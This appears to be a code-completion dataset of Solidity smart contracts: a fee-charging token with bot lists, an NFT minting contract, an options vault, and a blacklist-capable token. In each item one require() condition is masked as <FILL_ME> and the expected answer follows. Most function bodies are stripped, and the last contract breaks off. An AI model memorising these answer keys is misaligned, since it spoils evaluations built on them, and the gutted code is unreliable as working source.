function setMaxOwnedPercent(uint256 per) external onlyOwner {
}
function setTokensInWalletPercent(uint256 per) external onlyOwner {
}
function setFloor(uint256 floor) external onlyOwner {
}
function unbot(address notbot) public onlyOwner {
}
function isBot(address party) public view returns (bool) {
}
}
| !isOpen,"trading is already open" | 156,255 | !isOpen |
"Bot detected" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
contract SminemToken is IERC20, Ownable {
using SafeMath for *;
string private constant _name = unicode"Sminem DAO Launchpad";
string private constant _symbol = unicode"SMNM";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 10**12 * 1e18;
uint256 private _marketingFee = 35000000000 * 1e18;
uint256 private _sminemFee = 13000000000 * 1e18;
uint256 private _devFee = 35000000000 * 1e18;
uint256 private _totalFeePercent = _getTotalFeePercent();
uint256 private _maxAmountInTx = _totalSupply;
address private _marketingAddress;
address private _sminemAddress;
address private _devAddress;
uint256 private _previousMarketingFee;
uint256 private _previousSminemFee;
uint256 private _previousDevFee;
uint256 private _maxOwnedTokensPercent = 2;
uint256 private _maxTokensInWalletPercent = 5;
uint256 private _floor = 0;
mapping(address => bool) private _botList;
mapping(address => uint256) private _balanceOf;
mapping (address => mapping(address => uint256)) private _allowance;
mapping (address => bool) private _isExcludedFromFee;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private isOpen = false;
bool private inSwap = false;
modifier lockTheSwap {
}
constructor(address payable devAddress, address payable marketingAddress, address payable sminemAddress) {
}
function open() external onlyOwner {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function transfer(address recipient, uint amount) public override returns (bool) {
}
function approve(address spender, uint amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function _transfer(address sender, address recipient, uint amount) private {
require(sender != address(0), "[sminem]: transfer from the zero address");
require(recipient != address(0), "[sminem]: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
if(!_isExcludedFromFee[recipient] && !_isExcludedFromFee[sender] ) {
require(amount <= _maxAmountInTx, "Transfer amount exceeds the maxTxAmount.");
}
require(<FILL_ME>)
if(sender == uniswapV2Pair && recipient != address(uniswapV2Router) && !_isExcludedFromFee[recipient]) {
require(isOpen, "[sminem]: Trading not started yet.");
uint walletBalance = balanceOf(address(recipient));
require(amount.add(walletBalance) <= _totalSupply.mul(_maxOwnedTokensPercent).div(100));
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && sender != uniswapV2Pair && isOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_maxTokensInWalletPercent).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_maxTokensInWalletPercent).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > _floor) {
sendETHToFee(address(this).balance.sub(_floor));
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) takeFee = false;
if(!takeFee)
removeAllFee();
_transferRegular(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferRegular(address sender, address recipient, uint256 amount) private {
}
function getFee(uint256 amount) private view returns(uint256) {
}
function _getTotalFeePercent() private view returns(uint256) {
}
function splitFee(uint256 sum) private view returns(uint256, uint256, uint256) {
}
function _approve(address owner, address spender, uint amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeToFee (address payable account) external onlyOwner {
}
function setMarketingWallet (address payable marketingWalletAddress) external onlyOwner {
}
function setSminemWallet (address payable sminemWalletAddress) external onlyOwner {
}
function setDevWallet (address payable devWalletAddress) external onlyOwner {
}
function setMarketingFee(uint256 fee) external onlyOwner {
}
function setSminemFee(uint256 fee) external onlyOwner {
}
function setDevFee(uint256 fee) external onlyOwner {
}
function restoreAllFee() private {
}
function removeAllFee() private {
}
function setBots(address[] memory bots) public onlyOwner {
}
function manualswap(uint256 amount) external onlyOwner {
}
function manualsend() external onlyOwner {
}
function setMaxTxPercent(uint256 val) external onlyOwner {
}
function setMaxOwnedPercent(uint256 per) external onlyOwner {
}
function setTokensInWalletPercent(uint256 per) external onlyOwner {
}
function setFloor(uint256 floor) external onlyOwner {
}
function unbot(address notbot) public onlyOwner {
}
function isBot(address party) public view returns (bool) {
}
}
| !_botList[sender]&&!_botList[recipient],"Bot detected" | 156,255 | !_botList[sender]&&!_botList[recipient] |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
contract SminemToken is IERC20, Ownable {
using SafeMath for *;
string private constant _name = unicode"Sminem DAO Launchpad";
string private constant _symbol = unicode"SMNM";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 10**12 * 1e18;
uint256 private _marketingFee = 35000000000 * 1e18;
uint256 private _sminemFee = 13000000000 * 1e18;
uint256 private _devFee = 35000000000 * 1e18;
uint256 private _totalFeePercent = _getTotalFeePercent();
uint256 private _maxAmountInTx = _totalSupply;
address private _marketingAddress;
address private _sminemAddress;
address private _devAddress;
uint256 private _previousMarketingFee;
uint256 private _previousSminemFee;
uint256 private _previousDevFee;
uint256 private _maxOwnedTokensPercent = 2;
uint256 private _maxTokensInWalletPercent = 5;
uint256 private _floor = 0;
mapping(address => bool) private _botList;
mapping(address => uint256) private _balanceOf;
mapping (address => mapping(address => uint256)) private _allowance;
mapping (address => bool) private _isExcludedFromFee;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private isOpen = false;
bool private inSwap = false;
modifier lockTheSwap {
}
constructor(address payable devAddress, address payable marketingAddress, address payable sminemAddress) {
}
function open() external onlyOwner {
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function transfer(address recipient, uint amount) public override returns (bool) {
}
function approve(address spender, uint amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function _transfer(address sender, address recipient, uint amount) private {
require(sender != address(0), "[sminem]: transfer from the zero address");
require(recipient != address(0), "[sminem]: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
if(!_isExcludedFromFee[recipient] && !_isExcludedFromFee[sender] ) {
require(amount <= _maxAmountInTx, "Transfer amount exceeds the maxTxAmount.");
}
require(!_botList[sender] && !_botList[recipient], "Bot detected");
if(sender == uniswapV2Pair && recipient != address(uniswapV2Router) && !_isExcludedFromFee[recipient]) {
require(isOpen, "[sminem]: Trading not started yet.");
uint walletBalance = balanceOf(address(recipient));
require(<FILL_ME>)
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && sender != uniswapV2Pair && isOpen) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_maxTokensInWalletPercent).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_maxTokensInWalletPercent).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > _floor) {
sendETHToFee(address(this).balance.sub(_floor));
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) takeFee = false;
if(!takeFee)
removeAllFee();
_transferRegular(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferRegular(address sender, address recipient, uint256 amount) private {
}
function getFee(uint256 amount) private view returns(uint256) {
}
function _getTotalFeePercent() private view returns(uint256) {
}
function splitFee(uint256 sum) private view returns(uint256, uint256, uint256) {
}
function _approve(address owner, address spender, uint amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeToFee (address payable account) external onlyOwner {
}
function setMarketingWallet (address payable marketingWalletAddress) external onlyOwner {
}
function setSminemWallet (address payable sminemWalletAddress) external onlyOwner {
}
function setDevWallet (address payable devWalletAddress) external onlyOwner {
}
function setMarketingFee(uint256 fee) external onlyOwner {
}
function setSminemFee(uint256 fee) external onlyOwner {
}
function setDevFee(uint256 fee) external onlyOwner {
}
function restoreAllFee() private {
}
function removeAllFee() private {
}
function setBots(address[] memory bots) public onlyOwner {
}
function manualswap(uint256 amount) external onlyOwner {
}
function manualsend() external onlyOwner {
}
function setMaxTxPercent(uint256 val) external onlyOwner {
}
function setMaxOwnedPercent(uint256 per) external onlyOwner {
}
function setTokensInWalletPercent(uint256 per) external onlyOwner {
}
function setFloor(uint256 floor) external onlyOwner {
}
function unbot(address notbot) public onlyOwner {
}
function isBot(address party) public view returns (bool) {
}
}
| amount.add(walletBalance)<=_totalSupply.mul(_maxOwnedTokensPercent).div(100) | 156,255 | amount.add(walletBalance)<=_totalSupply.mul(_maxOwnedTokensPercent).div(100) |
"tokenURI is empty" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NcwNft is ERC721, ERC2981, ERC721Enumerable, ERC721URIStorage, Ownable {
uint256 public maxSupply;
uint256 public currentTokenId;
uint256 private _MINT_FEE;
event WithdrawPayments(uint256 _amount);
event SetMintFee(uint256 oldMintFee, uint256 newMinFee);
constructor(
string memory _name,
string memory _symbol,
uint256 _mint_fee,
uint256 _maxSupply,
address _owner,
address _royaltyReceiver,
uint96 _royaltyFee // 100 = 1%
) ERC721(_name, _symbol) {
}
function safeMint(
address to,
string calldata _tokenURI,
uint96 royaltyFee
) external payable {
require(msg.value == _MINT_FEE, "insufficient fee");
require(totalSupply() < maxSupply, "max supply reached");
require(<FILL_ME>)
_safeMint(to, currentTokenId);
_setTokenURI(currentTokenId, _tokenURI);
if (royaltyFee > 0) {
_setTokenRoyalty(currentTokenId, to, royaltyFee);
}
currentTokenId++;
}
function batchMint(
address to,
uint256 tokenAmount,
string[] memory tokenURIList,
uint96 royaltyFee
) external payable {
}
function withdrawPayments(uint256 _amount) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 _tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 _tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 _tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC2981, ERC721Enumerable)
returns (bool)
{
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function setMintFee(uint256 _mint_fee) external onlyOwner {
}
function mintFee() public view returns (uint256) {
}
}
| bytes(_tokenURI).length!=0,"tokenURI is empty" | 156,293 | bytes(_tokenURI).length!=0 |
"max supply reached" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NcwNft is ERC721, ERC2981, ERC721Enumerable, ERC721URIStorage, Ownable {
uint256 public maxSupply;
uint256 public currentTokenId;
uint256 private _MINT_FEE;
event WithdrawPayments(uint256 _amount);
event SetMintFee(uint256 oldMintFee, uint256 newMinFee);
constructor(
string memory _name,
string memory _symbol,
uint256 _mint_fee,
uint256 _maxSupply,
address _owner,
address _royaltyReceiver,
uint96 _royaltyFee // 100 = 1%
) ERC721(_name, _symbol) {
}
function safeMint(
address to,
string calldata _tokenURI,
uint96 royaltyFee
) external payable {
}
function batchMint(
address to,
uint256 tokenAmount,
string[] memory tokenURIList,
uint96 royaltyFee
) external payable {
require(tokenAmount == tokenURIList.length, "length mismatch");
require(<FILL_ME>)
require(msg.value == tokenAmount * _MINT_FEE, "insufficient fee");
for (uint256 i; i < tokenAmount; i++) {
require(bytes(tokenURIList[i]).length != 0, "tokenURI is empty");
_safeMint(to, currentTokenId);
_setTokenURI(currentTokenId, tokenURIList[i]);
if (royaltyFee > 0) {
_setTokenRoyalty(currentTokenId, to, royaltyFee);
}
currentTokenId++;
}
}
function withdrawPayments(uint256 _amount) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 _tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 _tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 _tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC2981, ERC721Enumerable)
returns (bool)
{
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function setMintFee(uint256 _mint_fee) external onlyOwner {
}
function mintFee() public view returns (uint256) {
}
}
| totalSupply()+tokenAmount<=maxSupply,"max supply reached" | 156,293 | totalSupply()+tokenAmount<=maxSupply |
"tokenURI is empty" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract NcwNft is ERC721, ERC2981, ERC721Enumerable, ERC721URIStorage, Ownable {
uint256 public maxSupply;
uint256 public currentTokenId;
uint256 private _MINT_FEE;
event WithdrawPayments(uint256 _amount);
event SetMintFee(uint256 oldMintFee, uint256 newMinFee);
constructor(
string memory _name,
string memory _symbol,
uint256 _mint_fee,
uint256 _maxSupply,
address _owner,
address _royaltyReceiver,
uint96 _royaltyFee // 100 = 1%
) ERC721(_name, _symbol) {
}
function safeMint(
address to,
string calldata _tokenURI,
uint96 royaltyFee
) external payable {
}
function batchMint(
address to,
uint256 tokenAmount,
string[] memory tokenURIList,
uint96 royaltyFee
) external payable {
require(tokenAmount == tokenURIList.length, "length mismatch");
require(totalSupply() + tokenAmount <= maxSupply, "max supply reached");
require(msg.value == tokenAmount * _MINT_FEE, "insufficient fee");
for (uint256 i; i < tokenAmount; i++) {
require(<FILL_ME>)
_safeMint(to, currentTokenId);
_setTokenURI(currentTokenId, tokenURIList[i]);
if (royaltyFee > 0) {
_setTokenRoyalty(currentTokenId, to, royaltyFee);
}
currentTokenId++;
}
}
function withdrawPayments(uint256 _amount) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 _tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function _burn(uint256 _tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 _tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC2981, ERC721Enumerable)
returns (bool)
{
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function setMintFee(uint256 _mint_fee) external onlyOwner {
}
function mintFee() public view returns (uint256) {
}
}
| bytes(tokenURIList[i]).length!=0,"tokenURI is empty" | 156,293 | bytes(tokenURIList[i]).length!=0 |
"duplicated action" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
import '@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol';
import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol';
import '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol';
import { IAction } from '../interfaces/IAction.sol';
import { IERC20 } from '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import { IWETH } from '../interfaces/IWETH.sol';
import { SafeERC20 } from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol';
import { SafeMath } from '@openzeppelin/contracts/math/SafeMath.sol';
contract OpynPerpVault is ERC20Upgradeable, ReentrancyGuardUpgradeable, OwnableUpgradeable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
enum VaultState {
Locked,
Unlocked,
Emergency
}
VaultState public state;
VaultState public stateBeforePause;
uint256 public constant BASE = 10000; // 100%
/// @dev how many percentage should be reserved in vault for withdraw. 1000 being 10%
uint256 public withdrawReserve;
address public WETH;
address public asset;
address public feeRecipient;
/// @dev actions that build up this strategy (vault)
address[] public actions;
/// @dev Cap for the vault.
uint256 public cap = 1000 ether;
/// @dev fee amount
uint256 public fee = 40; //0.4%
/*=====================
* Events *
*====================*/
event Deposit(address account, uint256 amountDeposited, uint256 shareMinted);
event Withdraw(address account, uint256 amountWithdrawn, uint256 fee, uint256 shareBurned);
event Rollover(uint256[] allocations);
event StateUpdated(VaultState state);
/*=====================
* Modifiers *
*====================*/
/**
* @dev can only be executed and unlock state. which bring the state back to "locked"
*/
modifier locker {
}
/**
* @dev can only be executed in locked state. which bring the state back to "unlocked"
*/
modifier unlocker {
}
/**
* @dev can only be executed if vault is not in emergency state.
*/
modifier notEmergency {
}
/*=====================
* external function *
*====================*/
/**
* @dev init the vault.
* this will set the "action" for this strategy vault and won't be able to change
*/
function init(
address _asset,
address _owner,
address _feeRecipient,
address _weth,
uint8 _decimals,
string memory _tokenName,
string memory _tokenSymbol,
address[] memory _actions
) public initializer {
__ReentrancyGuard_init();
__ERC20_init(_tokenName, _tokenSymbol);
_setupDecimals(_decimals);
__Ownable_init();
transferOwnership(_owner);
asset = _asset;
feeRecipient = _feeRecipient;
WETH = _weth;
// assign actions
for(uint256 i = 0 ; i < _actions.length; i++ ) {
// check all items before actions[i], does not equal to action[i]
for(uint256 j = 0; j < i; j++) {
require(<FILL_ME>)
}
actions.push(_actions[i]);
}
state = VaultState.Unlocked;
}
/**
* total assets controlled by this vault
*/
function totalAsset() external view returns (uint256) {
}
/**
* @dev return how many shares you can get if you deposit asset into the pool
* @param _amount amount of asset you deposit
*/
function getSharesByDepositAmount(uint256 _amount) external view returns (uint256) {
}
/**
* @dev return how many asset you can get if you burn the number of shares, after charging the fee.
*/
function getWithdrawAmountByShares(uint256 _shares) external view returns (uint256) {
}
/**
* @dev return withdraw fee to pay for a given amount of shares
*/
function getWithdrawFeeByShares(uint256 _shares) external view returns (uint256) {
}
/**
* @notice Deposits ETH into the contract and mint vault shares. Reverts if the underlying is not WETH.
*/
function depositETH() external payable nonReentrant notEmergency{
}
/**
* @dev deposit ERC20 asset and get shares
*/
function deposit(uint256 _amount) external notEmergency {
}
/**
* @notice Withdraws ETH from vault using vault shares
* @param share is the number of vault shares to be burned
*/
function withdrawETH(uint256 share) external nonReentrant notEmergency {
}
/**
* @notice Withdraws asset from vault using vault shares
* @param share is the number of vault shares to be burned
*/
function withdraw(uint256 share) external nonReentrant notEmergency {
}
/**
* @dev anyone can call this to close out the previous round by calling "closePositions" on all actions
*/
function closePositions() public unlocker {
}
/**
* @dev distribute funds to each action
*/
function rollOver(uint256[] calldata _allocationPercentages) external onlyOwner locker {
}
/**
* @dev set the percentage that should be reserved in vault for withdraw
*/
function setWithdrawReserve(uint256 _reserve) external onlyOwner {
}
/**
* @dev set the fee for the vault
*/
function setWithdrawFee(uint256 _fee) external onlyOwner {
}
/**
* @dev set the cap for the vault
*/
function setCap(uint256 _cap) external onlyOwner {
}
/**
* @dev set the state to "Emergency", which disable all withdraw and deposit
*/
function emergencyPause() external onlyOwner {
}
/**
* @dev set the state from "Emergency", which disable all withdraw and deposit
*/
function resumeFromPause() external onlyOwner {
}
/*=====================
* Internal functions *
*====================*/
/**
* total assets controlled by this vault
*/
function _totalAsset() internal view returns (uint256) {
}
/**
* @dev returns remaining asset balance in the vault.
*/
function _balance() internal view returns (uint256) {
}
/**
* @dev iterate through all actions and sum up "values" controlled by the action.
*/
function _totalDebt() internal view returns (uint256) {
}
/**
* @dev mint the shares to depositor, and emit the deposit event
*/
function _deposit(uint256 _amount) internal {
}
/**
* @dev iterrate through each action, close position and withdraw funds
*/
function _closeAndWithdraw() internal {
}
/**
* @dev redistribute all funds to diff actions
*/
function _distribute(uint256[] memory _percentages) internal nonReentrant {
}
/**
* @dev burn shares, return withdraw amount handle by withdraw or withdrawETH
* @param _share amount of shares burn to withdraw asset.
*/
function _withdraw(uint256 _share) internal returns (uint256) {
}
/**
* @dev return how many shares you can get if you deposit {_amount} asset
* @param _amount amount of token depositing
* @param _totalAssetAmount amont of asset already in the pool before deposit
*/
function _getSharesByDepositAmount(uint256 _amount, uint256 _totalAssetAmount) internal view returns (uint256) {
}
/**
* @dev return how many asset you can get if you burn the number of shares
*/
function _getWithdrawAmountByShares(uint256 _share) internal view returns (uint256) {
}
/**
* @dev get amount of fee charged based on total amount of asset withdrawing.
*/
function _getWithdrawFee(uint256 _withdrawAmount) internal view returns (uint256) {
}
/**
* @notice the receive ether function is called whenever the call data is empty
*/
receive() external payable {
}
}
| _actions[i]!=_actions[j],"duplicated action" | 156,311 | _actions[i]!=_actions[j] |
"Selling too much per time limit." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
/*
Hello there fellow degens. If you found this, I hope youβve read the medium. You must read it.
Welcome to Trim.
https://t.me/trim_portal
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function removeSniper(address account) external;
function isBlacklisted(address account) external view returns (bool);
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
}
contract TRIM is IERC20 {
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private _isExcludedFromDailyLimits;
uint256 constant private startingSupply = 1_000_000_000_000;
string constant private _name = "TRIM";
string constant private _symbol = "TRIM";
uint8 constant private _decimals = 9;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct Ratios {
uint16 liquidity;
uint16 marketing;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 900,
sellFee: 900,
transferFee: 900
});
Ratios public _ratios = Ratios({
liquidity: 0,
marketing: 900,
totalSwap: 900
});
uint256 constant public maxBuyTaxes = 1800;
uint256 constant public maxSellTaxes = 1800;
uint256 constant public maxTransferTaxes = 1800;
uint256 constant public maxRoundtripTax = 2200;
uint256 constant masterTaxDivisor = 10000;
bool public taxesAreLocked;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable marketing;
address liquidity;
}
TaxWallets public _taxWallets = TaxWallets({
marketing: payable(0x3D170e306f025D124a9C79Ef9ef56FfF9679cBF9),
liquidity: 0x3D170e306f025D124a9C79Ef9ef56FfF9679cBF9
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public swapThreshold;
uint256 public swapAmount;
bool public piContractSwapsEnabled;
uint256 public piSwapPercent = 10;
uint256 private _maxTxAmount = (_tTotal * 25) / 10000;
uint256 private _maxWalletSize = (_tTotal * 1) / 100;
bool public sellLimitsEnabled = true;
uint256 public sellTimer = 24 hours;
mapping (address => uint256) private userDailySold;
mapping (address => uint256) private userSoldTime;
mapping (address => uint256) private userSellLimit;
uint256 public dailySellLimit = 2500;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
address private _owner;
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() external onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) external onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function isExcludedFromDailyLimits(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function setExcludedFromDailyLimits(address account, bool enabled) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
//================================================ BLACKLIST
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) external view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiBlock) external onlyOwner {
}
function lockTaxes() external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 liquidity, uint16 marketing) external onlyOwner {
}
function setWallets(address payable marketing, address liquidity) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() external view returns (uint256) {
}
function getMaxWallet() external view returns (uint256) {
}
function getTokenAmountAtPriceImpact(uint256 priceImpactInHundreds) external view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor) external onlyOwner {
}
function setPriceImpactSwapAmount(uint256 priceImpactSwapPercent) external onlyOwner {
}
function setContractSwapEnabled(bool swapEnabled, bool priceImpactSwapEnabled) external onlyOwner {
}
function setSellLimitsEnabled(bool enabled) external onlyOwner {
}
function setDailySellLimit(uint256 percentInHundreds) external onlyOwner {
}
function setDailySellTimer(uint256 timeInMinutes) external onlyOwner {
}
